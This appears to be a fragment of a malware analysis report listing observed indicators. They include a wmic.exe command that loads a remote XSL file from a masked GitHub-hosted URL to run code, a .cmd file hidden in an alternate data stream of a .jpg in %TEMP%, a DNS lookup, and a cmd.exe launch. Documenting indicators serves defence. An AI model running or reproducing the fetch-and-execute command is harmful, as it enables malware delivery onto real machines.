Technical Information
- '<SYSTEM32>\wbem\wmic.exe' os get WOOYSSFFJ, ibbxxzz, MaxProcessMemorySize /format:"http://ra#.####ubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/09/v.xsl#0250306irrullkk"
- %TEMP%\cirusj4.jpg:6866llr.cmd
- DNS ASK ra#.####ubusercontent.com
- '<SYSTEM32>\cmd.exe' -